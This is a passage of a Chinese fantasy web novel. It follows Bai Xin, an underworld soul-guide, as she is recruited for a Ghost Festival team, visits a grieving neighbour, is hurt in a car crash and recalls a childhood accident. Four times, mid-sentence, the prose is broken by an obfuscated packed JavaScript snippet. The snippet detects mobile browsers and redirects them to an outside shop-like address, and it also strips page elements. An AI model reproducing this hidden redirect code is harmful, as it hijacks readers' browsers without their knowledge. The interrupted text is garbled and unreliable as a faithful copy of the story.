左慈很快洗完两个碗,她把碗和筷子放进消毒柜,转身又朝着白心走了过来:“是的,她有更重要的事要做。” 白心看着左慈走过来,拉开椅子重新坐到了她的对面。 “什么事?”白心问道,虽然她知道不该过问别人隐私,但是钟槐的事她还是想多问一嘴。 左慈却笑了,说道:“这就是我要交代你的事。” “嗯?”白心看着左慈的眼睛,表示不理解。 左慈两只手交叉放在桌面上,仪态略显郑重:“鬼节要到了,鬼门关一开,人间就会混入很多鬼魂,到时候秩序会相对混乱,我们的工作也更难以开展。” 白心看着左慈严肃的模样,也不免紧张了起来,问道:“然后呢?” 左慈看着前面紧张的女孩,知道自己太严肃了,于是放松表情,沉下肩膀,展开笑容,对着白心伸出了右手: “我想请你加入我们。” 白心:? 加入?白心的视线从左慈的脸转移到她伸出来的右手上,那只手很大,指节分明,此刻在黑色大理石桌面上摆出了一个邀请的姿势,指尖朝向她。 “你愿意吗?”左慈再次问道。 白心抬起头,目光重新聚焦到左慈脸上,看见她的表情十分诚挚,她不禁问道:“为什么选择我?” 从左慈的只言片语中她大概听出来,地府为了鬼节的到来,需要做一些准备,但是…… “我是说,我是引渡人,可你们是专业的捉鬼……”白心说道,她很疑惑,她要怎么加入她们。 “你很强大。” 左慈却打断了她的疑问,解释道,“你的能力可以帮我们更好地开展工作。” 白心哑然,这是左慈第二次说她强大了。她看着不再微笑,表情认真的左慈,一时间说不出话。 “你不用担心,”左慈看着白心的眼睛,继续说道,“到时候你的报酬会比现在更丰厚。” “我们会成立专门的小组,你也会有更多的帮手,”她说,“你愿意吗?” 所以钟槐才要请假吗?白心看着左慈,脑子却突然打岔想起了钟槐,心想她请假就是为了对付鬼节吗? “可是我……”白心又说道,“我还要上班啊。” 这话说出来,她自己都想笑。之前她是想过辞职,可是莫名其妙家里出现了一堆人,她现在还没有搞清楚,不能轻易离职。 想到上班,她又一阵烦躁,到底谁发明的上班啊,能不能自己进地狱? “这个也不用担心,”左慈看着犹豫的白心,说道,“我们的行动基本都在晚上进行,不会影响你白天的工作,钟槐是要去做一些前期准备工作才请假。” 白心点点头,明白这个什么鬼节行动和她现在的状态应该差不多,她看着左慈的手,也伸出了自己的右手,快要碰上的一瞬间突然又想到什么,问道:“我想问一下,这个小组成立是什么意思呢?是自行组队吗?” “是的,”左慈点头,回答道,“到时候会成立多个小组,通过测试之后会正式参与鬼节的行动。” “那你的意思是我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933019|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你们一组?”白心又问道。 “是的。”左慈再次点头。 我的老天奶。白心听到这个回答,一瞬间好像傍上富婆了一样不可置信,这钟槐和左慈两个人就是明晃晃两条大腿啊!她赶紧把手塞到左慈的大手里,狠狠握了一下,表示十分愿意乐意同意加入她们。 “那就这么说好了,”左慈握着白心的小手,笑着说道,“过几天我会带合同来。” “合同?”白心看着左慈笑眯眯的眼睛,不禁疑惑,“这个也要签合同啊。” 言外之意是,她终于可以不做外包了?哈哈哈哈,白心在心里狂笑,这下是真的要有编制了,妥妥的地府公务员了! 这不比人间强?她想,这才做了几天就让她转正了,虽然都是打工,但是地府好歹上升通道透明,不像人间都给堵死了。 “是的,”左慈再一次回答,“恭喜你,即将成为我们的一员。” 同喜同喜,白心在心里说道,同时也放开了左慈的手,她看着一脸笑容的左慈,说道:“谢谢你,左姐。” 谢谢你的慧眼识才,谢谢你的伯乐相马,谢谢你的伯牙子期,白心想,这真是高山流水遇知音,相逢何必曾相识,笑问客从何处来,得来全不费功夫啊! 白心在心里狂笑,思绪乱飞到了外太空,脸上的笑容也藏不住。左慈看她这副模样,也不禁笑了起来,那双锐利的眼里流露出止不住的温柔,像一位母亲看着自己的孩子,柔情似水。 “对了,”白心的白日梦结束,终于回过神来,说道,“我还有一些事要做,所以……” “没关系,”左慈却抢先说道,“你去吧。” 白心看着左慈温柔的眼神,又愣了。 她竟然觉得这种眼神很熟悉。这种柔软至极充满母性和宠爱的眼神,像……像外婆,像陈灵,白心想,也像……妈妈。 不是她妈,而是广义的“妈妈”。 左慈站起来,伸了个懒腰,说道:“好了,我也有事要出去,要我送你吗?” “哦,”白心也站了起来,挠了挠头,说道,“不用了,我要先上楼一趟。” 今天必须得找徐珊把照片给洗了!白心想,还有手表的事,白子涵不在,赵志雄可没有度假的机会,今天就是在公司楼下堵他也要把事情问清楚了! “好,那就走吧。”左慈越过餐桌,向客厅走去。 白心也转身,迅速走到玄关,弯腰换鞋准备出门。她刚直起身来,左慈就走到了她的背后,自然而然地摸到了她的头发。 “嗯?”白心感觉到后脖子一痒,贴在脖子上的头发被人一把捞了起来。 “头发没扎,”左慈拿着刚从客厅拿过来的梳子,边帮白心梳头发边说,“我帮你扎一下。” 白心换好鞋,站在门口,心跳如擂鼓。 她竟然在帮她扎头发。 左慈静静梳着,有条不紊,把白心每一根散乱的发丝拢到一起,攥在手里握成一把,然后皮筋一绕,两圈之后,一个普通但好看的马尾就扎好了。 她的大手轻拍了一下白心瘦削的肩膀,轻声说道:“好了,走吧。” 白心站在原地,心里海浪翻滚,昨晚的梦又浮现在眼前。 她深吸了一口气,在不受控制的眼泪涌出来之前,迅速打开门走了出去。 她头也不回地往上跑,不敢回头直视左慈的眼睛。 “谢谢你,左姐。”她小声说道。 51.沉默的幼儿园(十八) 白心低着头从二楼一路小跑向上,快到六楼的时候实在有点支撑不住,在五楼和六楼之间的转角处停了下来。 她双手撑着膝盖,躬着背微微喘气。阳光从楼道的窗台照进来,大方地倾洒在她的头上,宛如一只温柔的大手在她的头顶照拂,带来一阵洋洋暖意。 不知道是不是跑得发热,她感觉到这股暖流从头顶一路向下,流向她的四肢,流经她的心脏,流进她刚才吃完荷包蛋挂面的胃里。 左慈的声音在楼下响起,白心直起身来,靠近窗台,看见左慈正在给经常来小区里捡瓶子的老奶奶帮忙。 她高大的身影在阳光下映出一道长长的影子,和旁边瘦弱佝偻的老人形成鲜明对比。她站在垃圾车前,一只手精准迅速地从里面挑出矿泉水瓶,另一只手托着老人提来的蛇皮袋,旁边的老人不时地伸出手去拦住她,然而左慈只是一边捡一边爽朗地笑着,说没关系。 这么有钱的人,竟然也会做这样的事。白心站在窗台前,看着楼下的两人,左慈的笑容又浮现在眼前。 心有猛虎,细嗅蔷薇。白心转过身,继续向上走,突然领悟了这句从小就在书上看见却不是很理解的话。 左慈就是这样的人。她的心中既有强大的力量和决心,又有温柔细腻的情感。 完美的人。 白心慢慢走着,走过六楼的转角,抬起头看见了自己家的大门。 “吱呀——”她刚跨上一节台阶,旁边高姐家的门就被人推开了。 嗯?白心感到疑惑,继续往上走着,心想这么巧吗,又遇到了? 然而下一秒,她看见一个陌生的女人从高姐的家里出来,女人十分热情地转身想把出来送客的主人塞回去,边把人往里推边说:“哎呀不用了不用了,我下次再来看您!” 谁啊? 白心立马感到好奇,快速向上走了几步,很快就走到了自己家大门口。 高姐在门里,手里提着一盒点心想要塞给女人,女人反而把手里的两百块钱塞到了装着点心的手提袋里,两人推推搡搡和过年给亲戚家小孩发红包似的,撕巴个不停。 白心站在高姐家对面,看着背对着自己的女人穿着灰色背心和豹纹裤,扎了个丸子头,头上还架了个大墨镜,十分时髦的样子。 哪蹦出来的?白心又看向门里的高姐,心想从来没见过这号人啊? 闺蜜?亲戚? 高姐和女人撕扯了半天,终于是累了,放弃挣扎:“好吧,我也不劝你了,你多来坐。” “好好好。”女人也快速答应,转过身打算下楼。 刚一转身,就看到了傻站在门口正盯着她看的白心。 高姐也发现了白心,笑着和她打招呼:“白心,你好。” 白心和女人面对面,感到一阵巨大的冲击力袭来。 你有没有在现实中见过顶级明星?白心看着女人精致得堪比建模的脸,一瞬间就呆了,视觉的强烈冲击让她完全挪不开眼睛。 虽然她不追星,也没见过真实的明星,但是她刷到过那些路人看到明星时的反应,和她现在不能说一模一样,只能说别无二致。 她终于理解,为什么美貌也是一种天赋。 白心还在发呆,然而女人却像见到了熟人似的,直接靠近了她,说道:“哎呀,你终于回来了,我等了你好久。” 白心:??? 女人带着一股香味逼近,白心有点头晕,下一秒听见女人的话之后更晕了,心想美女你谁啊?我们认识吗? 女人直接拉起了白心的双手,开始对着她挤眉弄眼,嘴巴里不停地做着口型。 我是……我是……白心晕晕地看着女人的嘴,开始尝试翻译唇语。 我是……猪? 女人不停地说着那几个字,白心看了半天,眼睛忽然睁大。 我是朱萸! “你是朱……”白心刚要说出口,朱萸就迅速伸出了一根手指抵住了她的嘴唇。 “我是朱颜,”朱萸一边接着她的话一边朝她挤眉毛,“你说你在家我就来了,结果你不在,我只能先在你邻居家坐会儿。” 什么?白心看着朱萸的脸,又往后看了一眼高姐,敢情你俩才认识啊? 白心简直要晕倒,她还以为高姐的什么亲朋好友来了,原来才刚交上朋友,刚才俩人拉拉扯扯的样子那么自然,跟做了二十年亲戚根本没区别啊! “好了,我们进去吧,”朱萸转过身,搂着白心,笑着对门里的高姐挥了挥手,“谢谢你的招待了姐。” “要不……”高姐却看着白心,微笑着说道,“你也来坐坐吧。” 谁?我吗?白心看了眼高姐,又看了眼旁边的朱萸,才确定高姐是在邀请她进去做客。 “啊……”白心正想拒绝,社恐的本能让她下意识地就要婉拒高姐的好意,然而她看着高姐的笑容,忽然想起她也是个社恐…… “好吧!” 白心立即欣然接受了高姐的邀请,拉着朱萸就往前走。 同为社恐,白心是不怕的,她怕的是那些天生精力旺盛不时发散热情的社牛。去社交达人家做客跟进屠宰场没区别,每分每秒都像在凌迟,白心想起之前去钱一茜家做过一次客,吓得她回家之后做了好几天噩梦。 “哎——”朱萸被白心重新拉进高姐家,大门在身后关闭,俩人站在了玄关处。 高姐给俩人拿了两双拖鞋,转身去客厅倒茶了。 “我还有事儿要跟你说呢。”朱萸脱下刚穿好没多久的鞋,抬起手俯身在白心耳旁悄悄说道。 白心换上高姐翻箱倒柜找出来的压箱底的鞋,边往前走边小声回应道:“知道了,不急这一会儿。” “我急呀,”朱萸换好拖鞋跟上白心,在她身后小跑,细声说道,“我这具身体着急还回去。” 白心:“……” 怎么这皮肤还是一日体验卡吗?白心走进客厅,觉得好笑,转念一想游戏里也是这样,好看的皮肤要么花钱氪金,要么就白嫖体验卡。 “随便坐,”高姐把两个装了茶的一次性杯子放在红色茶几上,有点紧张地搓了搓手,“没买零食……” “没事没事,”白心赶紧端起茶杯,象征性地吹了一口,把上面的茶叶吹开,说道,“喝茶就行了。” 然而高姐还是转过身,趿拉着拖鞋走了,不知道是进了卧房还是厨房找吃的去了。 朱萸坐在了白心旁边,看她这副悠闲的模样,知道着急也没用了,从包里拿出化妆镜就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938167|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。 “长这样还有什么好看的?”白心嘬了一口茶,忍不住吐槽道,“是对这具身体还有什么不满意吗?” 朱萸却啧了一声,回答道:“你不懂,越是好看就是越想多看,越是难看反而一眼都不想看。” “你不是不在乎皮囊吗?”白心又喝了一口茶,想起和朱萸初见的时候她说只有凡人才如此在乎皮囊。 “是啊,”朱萸伸出手,把眼角的一根睫毛扯掉,说道,“我是不在乎,但是你们凡人喜欢啊。” “你不知道哦,找个好看的皮肤,办事都方便多了。” 白心:…… 这句话倒是没错。白心笑了一下,这个看脸的世界,长得好看的人路走得都比别人顺些。 白心放下茶杯,感觉到舌尖烫得有点疼,她咋咋舌,说道:“是不是下辈子想要长这样要功德很高才行啊。” “差不多吧,”朱萸放下手,把镜子放进包里,回答道,“我买这个皮肤都要一万五功德。” 白心:“……” 算了。白心叹了口气,下辈子还是安心做个普通人吧,只要不长成她老板那么丑,平凡一点也无妨。 贫嘴结束,白心抬起头环视高姐的家,发现她家也不大,还是老式的那种装修风格,包括茶几和沙发,都是千禧年的那种劣质木材。白心低下头,看见茶机的拐角处红色的漆都掉了,扎人的木头裸露在外,明示着其年岁已久。 似乎是没有想到会有人来做客,高家的家里十分的乱。白心偏过头,看向厨房的方向,同样红色的餐桌上堆满了盘子和碗,灶台上也是乱糟糟的,很久没有收拾的样子。 而且…… 白心睁大眼睛,看见餐桌旁有一个老式冰箱,而冰箱的最上面,有一张照片。 一张遗照。 看见照片的白心猛然一抖,整个人像被突然袭击了一样吓了一跳。照片被装在相框里,置放在冰箱的最上面,光线从背后的窗子打进来,白心逆着光,仍然看清了黑白照片里的人。 一个小孩。 朱萸感觉到白心的抖动,连忙问了一句:“怎么了?” 她顺着白心的目光看过去,也看见了冰箱上面的照片,她“啊”了一声,说道:“那个是……” 话音未落,高姐就逆着光走了出来。 她仍然裹着那件黑色睡袍,头发凌乱,瘦削的肩膀像两把薄刀,随时能划开肩上的衣服。她抱着一袋旺旺雪饼从旁边的卧室走出来,整个人逆光而行,朝着沙发上的俩人慢慢走了过去。 高姐走到白心和朱萸跟前,把怀里的零食拿出来,递给她俩:“不知道你们小孩子喜欢吃什么,我只找到这个。” 白心看着那包旺旺雪饼,又向上看着高姐,高姐努力笑着,脸上的疤还是那么明显。 朱萸率先反应过来,一把接过零食,笑着回答高姐:“是了,我们小孩子最爱吃这个了。” 朱萸拆开包装袋,拿出一包饼干递给旁边的白心,说道:“吃吧,小孩。” 小孩。 白心低下头,看着朱萸手里的旺旺雪饼,脑子里却还是刚刚那张照片上的小孩。 “这个饼干,”高姐也坐了下来,嗓音沙哑,“是我女儿曾经最爱吃的。” 52.沉默的幼儿园(十九) 女儿? 白心接过朱萸递过来的饼干,想,高姐有女儿?不对,她又纠正自己,是曾经有女儿? 白心拿着饼干发呆,朱萸倒是自来熟,边吃饼干边和高姐搭话:“您的女儿叫什么呀?” “高婵,”高姐回答,同时把身上的袍子裹了裹,“如果她没走的话,现在应该也和你们差不多大了。” 白心心里一惊,捏着饼干的手指抖了一下,不敢抬起头来看高姐的脸,刚才进门时轻松的心情也变得略微沉重。 朱萸作为一百多岁的土地婆,对人类生死之事早就习惯和看淡,点了点头,边嚼饼干边回答道:“是吗?那就是二十五咯,她去世几年了?” 白心心里又是一惊,心想朱萸怎么这么直白,赶紧伸出右手拉了一下她的衣角试图让她闭嘴。然而高姐却淡淡一笑,语气轻快地回答道:“十七年。” “你干嘛?”朱萸转过头,莫名其妙地看着白心。 真是个猪啊。白心在心里啧了一声,挤出一个勉强的笑容看着朱萸:“你不是有事找我吗?咱俩回去说呗。” 她眨眨眼,和刚刚朱萸在大门口朝她挤眉弄眼一样暗示她。 “白心怎么不吃?”高姐偏过头来看着白心,笑着说道,“不喜欢吗?” “不是不是,”白心也赶紧笑着回答道,“我不饿。” 她把饼干揣进裤兜里,扯着朱萸的胳膊站起来,俩人屁股都还没坐热就打算走了。 “哎——”朱萸被白心拉着往外走,不明白她突然咋了,刚才不还悠哉悠哉喝茶吗。 高姐也站起来,似乎是感受到了白心的局促,也没有拦她们,而是站在原地看着俩人的背影说道:“你们有空再来玩。” “会的会的。”朱萸匆忙换鞋,手里还拿着吃了一半的饼干,回应高姐之后追着早已换鞋出门的白心去了。 “砰——” 大门在身后紧闭。 朱萸跟在白心后面,匆匆下楼,边走边问:“你咋了?” 白心脚步一顿,回头看着一脸懵的朱萸,说道:“你干嘛问人家伤心事?” “我……” 朱萸说到一半卡住了,因为她看见白心的表情不对劲。 白心努力保持着镇定,然而人不是机器,做不到百分百伪装。朱萸站在台阶上,看见台阶下白心一脸平静,然而在平静中,夹杂着一丝愤怒、质问,还有……悲伤。 朱萸想说,她并没有主动提起,是高姐自己先说的,她只是顺着往下问了一句。 但是她看着明显不对劲的白心,还是什么都没说。 “对不起,”白心先开口道歉,转身就往下走,“我不该凶你。” 朱萸赶紧也往下走,听见白心的话后更迷惑了,心想你凶我了?什么时候?刚才? ——那也叫凶? 白心闷头往下走,脑子里不是朱萸刚才的话,也不是高姐家的照片,而是另一个人。 她的母亲。 白心的家里没有母亲的照片。 她可以坦然接受父亲的抛弃,却始终无法正视母亲的突然离席。十五岁的时候要填联系监护人,大学入学要了解家庭关系,毕业之后还要调查家庭成员背景。 前十五年她可以毫不在意地把父亲那栏空着,但在之后的岁月里,那个相伴了她十五年的名字也要被抹去。 她无法接受。 她更加无法接受的是,曾经这个和她具有血缘关系的人消失后,全世界都在提醒她,你的表格不能空着,你的人生需要监护人。 你没有爸爸吗?你的妈妈呢?你一个人吗?妈妈也不管你吗?是吗,她去世了?去世几年了? 反复追问,无穷无尽。 白心讨厌,也厌倦这样的追问。 “对不起,”朱萸拉住了白心的胳膊,两人站在楼层间的转角处,她道歉道,“我让你伤心了。” 伤心?白心停住脚步,回头看着朱萸,心想我的表情很悲伤吗? “我查了你的户籍信息,知道你的家人……”朱萸看着白心,小心翼翼地说着,再次道歉,“对不起。” “不怪你,”白心整理了一下表情,从让她不适的回忆里挣脱,笑着说道,“是我太敏感了。” 她或许知道,为什么她的能力是读心了。 朱萸看着白心笑了,终于松了口气,把手里还剩一块的饼干递给她:“喏,给你吃。” “我才不要。”白心顿时破防,没好气地笑了,“你多大了?一块饼干就想哄好我?” 然而她还是接过了朱萸手里的饼干,狠狠地咬了一口。 还挺好吃。 朱萸看着白心,也笑得像个白痴,捂着肚子说道:“我多大你多大?你在我眼里就是个小不点。” 俩人面对面,一个啃着饼干,一个捂着肚子,看起来都是二十五岁左右的年轻人,生气和好简单流畅得却跟两个幼儿园的小孩一样。 朱萸更是不可思议,她个一百二十六岁的土地婆,竟然怕一个二十五岁的小屁孩生气。 俩人笑完,饼干也吃完了,朱萸这具身体本就瘦,再笑都能笑出腹肌了。她赶紧整理表情,恢复正常,挽着白心的胳膊慢慢往下走,认真说道:“我想说的是,死亡并不一定是一件悲伤的事。” 白心被朱萸挽着,俩人像好朋友一样亲密,肩并着肩,走在狭窄的楼道里。 朱萸:“你看高姐,提起她女儿的时候并不伤心,反而很愉快。” 白心一愣,然后仔细回想,发现朱萸说的确实是对的。高姐自然而然地就提起了她女儿爱吃的饼干,回答朱萸的问题也很平和,问到去世时间的时候也完全不遮掩。 不逃避,不掩饰。不难过,不悲怆。 不应激。 “死亡是人类必经的考验之一,”朱萸带着白心,慢慢走着,“强大的人敢于直面它,坦然地接受它,把它当作流水一样流过。” 强大。白心向下走着,这是她今天第三次听见这个词。左慈说了两次,朱萸说了一次,只不过说的对象不同。 “高姐是个很厉害的女人,”朱萸又说道,“她的内心很强的,你可能看不出来,但是时间长了就知道了。” 听见朱萸的话,白心的脑子里立马浮现高姐脸上那道长长的红色疤痕。 她究竟经历了什么? 俩人很快走到一楼,朱萸放开白心的胳膊,从包里掏出一把伞,撑开后举起,另一只手搂过白心的肩膀,说道:“我相信你也会变得跟她一样强,白心。” 白心抬起头,看见朱萸漂亮的脸在明黄色的伞面下更漂亮了,她微微笑着,整个人像一个刚剥了皮的橘子,清新又芬芳。 “谢谢你的祝福,”白心看着看着,被美貌攻击得又有点晕了,问道,“不过我俩这是要去哪啊?” “啊,”朱萸揽着白心向前走,边走边说,“你不是要找那小孩的妈妈吗?” 哦对!白心想起来了,昨晚朱萸是要说帮她调查来着,但是…… “你不是说发信息给我吗?”白心往前走着,有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943020|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,“干嘛还跑到我家来?” “说了出来办事。”朱萸翻了个白眼,回答道。 “什么事?” “跟你没关系,”朱萸带着白心,很快就走到了一辆车旁边,说道,“先进去吧。” 白心看着面前这辆粉色保时捷,下巴瞬间砸地。 “这……”白心惊呆了,“这也是你用功德买的?” 朱萸打开车门,把白心塞进副驾驶,转身从车头绕到主驾驶,也打开门钻了进去。 “不是,”朱萸转动钥匙,汽车瞬间发动,“是我借的。” “借谁的?”白心好奇地看着车内奢华无比的内饰,左摸摸右碰碰,像农民进城了。 “就是我马上要去办事的那个人的,”朱萸油门一踩,车就行动了起来,“她是负责动物亡魂回收的。” “动物亡魂?”白心的注意力立马从豪车转移到了朱萸说的话上,不禁问道,“亡魂也有分类回收啊?” 她只听说过什么干垃圾湿垃圾分类,没听说过亡魂也要分类的。 “废话,”朱萸边开车边回答,“所有的亡魂都跑我这来,我管得过来吗?” 也是,白心点点头,觉得颇有道理,要是所有灵魂都归土地婆一个人管,那地府确实是有点不把员工当人了。 “我先送你去豆思红她妈妈那儿,”朱萸又说道,“等我事儿办完再来接你。” “额……” 白心刚想说不用了,因为她也有一大堆事要干,比如找徐珊和李婧,比如找赵志雄索命。 但是她看着这辆超级爆炸无敌拉风的豪车,突然有点动摇。她俩现在这样有点像明星小姐和她的素人朋友,白心想,她也想体验一下走在路上百分百回头率是一种什么样的感觉。 不是虚荣,就是好奇。白心转过头,看着朱萸完美的侧脸,心想朋友的作用不就是这样吗,在给予彼此熟悉感安全感的同时还能时不时带给对方新奇感。 和土地婆做朋友好快乐啊。 “对了,”朱萸开着车,完全没注意白心已经看呆的眼神,问道,“你们这二楼住了个什么人?” “嗯?”白心反应了过来,擦了擦嘴角的口水,回答道,“二楼?怎么了?” 朱萸沉默了几秒,说道:“没什么,就是觉得气场挺奇怪的。” 哦?白心的好奇立马又被勾起了,立即追着她的话问道:“什么气场?” 左姐的气场确实奇妙,白心想,强大又温和,和她在一起的时候就是莫名地觉得很舒服。但是朱萸作为一个土地婆,她倒是好奇这个神仙能感受到什么出来。 “我说不好,”朱萸停在了斑马线前,等着前方红灯倒计时,说道,“就是一股奇怪的气场。” 听君一席话,白听一席话。白心翻了个白眼,颓废地窝在副驾驶里,看着前方的红灯,说道:“也是个捉鬼师,人挺好的,叫左慈,你认识吗?” 朱萸摇摇头:“不认识,我跟那些人不熟,只认得钟槐一个人。” 红灯结束,朱萸松开刹车,汽车向前驶去。白心听到钟槐,想起昨晚拉风的牵狗少女,突然好笑,忍不住想要跟朱萸分享。 “白心!快抱头——” 她刚张开口,朱萸就大叫了一声,方向盘朝左边猛打到底。白心感觉到一股热浪从旁边袭来,接着她听到了玻璃碎裂的声音,还来不及反应,整个人就歪到了一边。 巨大的碰撞声在马路上响起,连带着一阵轮胎摩擦地面的刺耳声音。 车祸了。 53.沉默的幼儿园(二十) 漫长的沉寂后,白心终于睁开眼睛。 黑夜,月光,天花板。白心躺在床上,直直地看着天花板,比记忆更先到来的是刺鼻的消毒水味。 气味会触发人类大脑的某块区域,使其迅速闪回到某个熟悉的场景。白心做了一个漫长又痛苦的梦,消毒水的味道在梦里挥之不散,像一条飘渺萦绕的时光纽带,带着她回到了五岁时有关那场车祸的所有场景。 小区门口,高中生大哥哥,卖副食的老奶奶。小小的白心坐在门口的椅子上,手里拿着咪咪虾条,两条小腿晃个不停,脑袋也张望个不停。 她在等一个很重要的人。 老奶奶坐在最前面,大哥哥坐中间,白心坐在最后面,三个人挨着坐在墙边,阳光明媚,她整个身体都暖洋洋的。 她看着门口的马路,边吃虾条边数着经过的人,期待着那个身影到来。 爸爸。 行人一个一个路过,偶尔有几个孩子停下来,在老奶奶的玻璃柜前挑挑选选,带走几包便宜的辣条,也会有一些人边走边好奇地看着她们三个。 白心等啊等,等啊等,等了两个小时,爸爸还是没有来。 然而她并没有伤心,只是把没吃完的咪咪虾条包好,放进自己的口袋,打算留着给另外一个人。 她的好朋友,钟榆。 她跳下椅子,和大哥哥老奶奶告别,转身打算回家。她知道,爸爸不会来了。 她的脚刚迈出一步,背后就传来一声尖叫。她站在原地,看见一辆大车迎面驶来。 然后,她飞起来了。 白心感到自己的胸脯被猛地一撞,她不受控地往后飞去,接着重重地摔在了地上。随后有什么东西从她的脑袋里流了出来,但是不痛,只是模糊了她的眼睛。 她倒在地上,一只手伸出来抹着眼睛,另一只手还放在口袋里,牢牢地抓着那包虾条。 她放下手,向右看去,大哥哥坐在地上,表情麻木,一只手撑在地面上,另一只手没有了。老奶奶背对着她,背上全是亮晶晶的玻璃渣。 白心没有感觉到痛,只是觉得很害怕,她想站起来,但是没有力气,只能睡在地上不停地叫着一个人。 爸爸,爸爸。 小区的大门瞬间围满了群众,白心觉得自己好困,好想睡觉,她躺在地上,眼里倒映着人们的脚,倒着看,像一棵棵从地里长出来的小树。 恍惚之间,她听见有一个熟悉的声音叫着她的名字。 白心,白心,那个声音说,白心你不要睡觉! 下一秒,她被人抱了起来。 她不知道在谁的怀里,她好想睡觉,眼睛正要闭上,头顶却响起一个男人的声音:白心,不要睡觉! 男人抱着她冲出人群,狂奔向一辆摩的,好心的摩的师傅立即启动,带着两人前往最近的医院。 然而行驶了不到一百米,轮胎就被扎破了。 男人只好下车,站在马路边等待下一辆车。很快,另外一个好心的出租车司机见状,立即打开了车门,载着她重新驶向医院。 白心躺在男人怀里,知道这是爸爸,于是放心地哭了起来。 男人听到哭声心乱如麻,急火攻心,一时间呵斥道:别哭! 司机猛地一刹车,说道:不好,抛锚了。 男人听见后更崩溃了,但又没有办法,只好打开车门,抱着小孩狂奔向医院。 摩的走了一百米,出租车走了两百米,白心的家距离医院总共只有五百米。白心睡在爸爸怀里,感觉到爸爸的呼吸声很急促,心跳声也很大,她不敢作声,因为爸爸会骂她。 剧烈的颠簸让白心更困了,她放任自己睡去,然而在即将睡着的那一秒,她忽然想起了钟榆。 她的手还在口袋里,她用力捏了一下那包虾条,确定它没有洒之后,才真的睡去。 再次睁眼,就看见了天花板刺眼的蓝色灯光,以及刺鼻的消毒水味。旁边有很多人忙来忙去,几个声音很好听的姐姐叫她,问小朋友你叫什么名字。 白心。她看着蓝光,喃喃道,我叫白心。 很好听的名字呀,姐姐又说,边说边给她把身上的衣服剪开,你的名字是谁起的呀? 是妈妈。白心听见问题,认真回答道。 你的妈妈很会起名字哦。姐姐给她披上一块凉凉的布,说道,不要睡觉哦,白心。 好的。白心闻着陌生的味道,脑袋里是妈妈的忙碌的样子。 她应该还在忙吧。白心想到妈妈,忽然想哭,她可以不要妈妈来接她放学,但是现在她真的好想见到她。 …… 白心看着天花板,许久,才终于意识到自己这是在医院。 车祸。她又想了起来,自己发生了车祸。 ——朱萸呢? 白心立即坐起,随即一阵天旋地转,她一只手捂着脑袋,缓了很久,才终于慢慢睁开眼睛。 放下手,她看见旁边趴着一个人。 陈灵。 白心愣住了,看见陈灵趴在床沿,已经睡着了。她的衣服没换,头发也乱糟糟的,一只手还紧紧握着她的另外一只手。 朱萸呢?白心赶紧左看右看,病房一共两间床,另一张是空的,被子都没有。 没有其他人。 喂——白心又低头看着陈灵,试图把她叫醒,她把手伸出来,试图触摸对方,然而手却直接穿过了对方的头。 嗯?白心坐在床上,猛地低头,看见自己浑身发着白光。 她赶紧抬起手臂,十一点三十分。 ——不对啊? 白心眉心一跳,怎么回事?怎么没到十二点就出来了? 她的心跳突然加速,心想不会吧—— 我又死了? 白心伸出左手捂着额头,仔细回想车祸经过。她和朱萸才讲了几句话就被撞了,她甚至到没意识到发生了什么就晕了过去,只记得昏迷前窗外有个人大喊了一声她的名字。 是谁来着?白心闭上眼,努力回忆着,那个声音她很熟悉。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~”正想着,就有人打电话来了。 钟槐。 白心睁开眼,看着屏幕里熟悉的库洛米头像,点击接通。 “白心,”钟槐在屏幕对面,还是穿着红色防护服,十分炫酷,不过今天她没有笑了,“你好啊。” 她一脸严肃地看着白心,眉头微皱,神情似乎发生了什么大事一样凝重。白心看着她,条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947678|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件反射般笑了一下,开她玩笑:“你觉得我好吗。” 钟槐刚想回答,视频里就出现了另一张脸。白心看着对方的脸,立即就想了起来那个声音是谁。 左慈。 左慈在镜头前,神情也很严肃,她对着白心说道:“你的肉身最近一段时间恐怕不能用了。” 